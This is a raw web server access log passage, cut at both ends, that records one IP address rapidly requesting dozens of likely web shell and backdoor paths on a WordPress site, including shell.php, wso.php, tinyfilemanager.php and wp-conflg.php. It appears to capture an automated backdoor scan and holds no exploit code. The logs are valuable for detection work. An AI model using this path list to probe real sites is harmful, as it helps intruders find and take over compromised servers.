Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /wp-content/languages/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:14 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /wp-admin/network/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /.well-known/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /wp-includes/fonts/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /css/slider.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /wp-includes/css/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /wp-content/style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:15 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 404 796 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /repeater.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /wp-includes/sitemaps/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /contacts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /wsa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:16 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /firewall.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-includes/sodium_compat/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-content/uploads/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /images/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-admin/maint/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-admin/theme-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:17 +0300] "GET /wp-admin/css/colors/blue/abc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-admin/maint/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-content/themes/twentytwentyfour/wonder.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-content/plugins/fix/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-includes/js/dist/default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-admin/css/colors/tfileman.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /tiny.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-admin/js/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:18 +0300] "GET /wp-includes/sodium_compat/src/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-content/plugins/erinyani/asasx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-admin/maint/cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-admin/css/glex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-includes/SimplePie/Parse/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-content/themes/twentytwentyfour/system_cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:19 +0300] "GET /wp-content/themes/sky-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-content/themes/pridmag/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-content/themes/twentytwentytwo/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-admin/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-admin/css/colors/ocean/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:20 +0300] "GET /.well-known/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /css/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /images/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-includes/SimplePie/Cache/upfile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /small.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-content/uploads/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-content/plugins/pwnd/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-includes/widgets/class-wp-widget-search-function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-content/languages/themes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:21 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wp-includes/SimplePie/Canonical.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /aks.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /img/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wp-includes/class-feed-index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wpn.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wp-content/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /.well-known/acme-challenge/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.153.151.145 - - [17/Apr/2026:14:44:22 +0300] "GET /wp-content/themes/twentytwentyfour/functions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/class-wp-dependency-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/PHPMailer/purna.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/interactivity-api/interactivity-api-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/l10n/class-wp-widddget-pages.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-admin/css/colors/light/colors.min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/ID3/module.audio-video.riff-set.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:23 +0300] "GET /wp-includes/js/tinymce/utils/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-includes/Text/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /.well-known/acme-challenge/wp-load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-content/upgrade/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.153.151.145 - - [17/Apr/2026:14:44:24 +0300] "GET /wp-content/themes/aahana/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 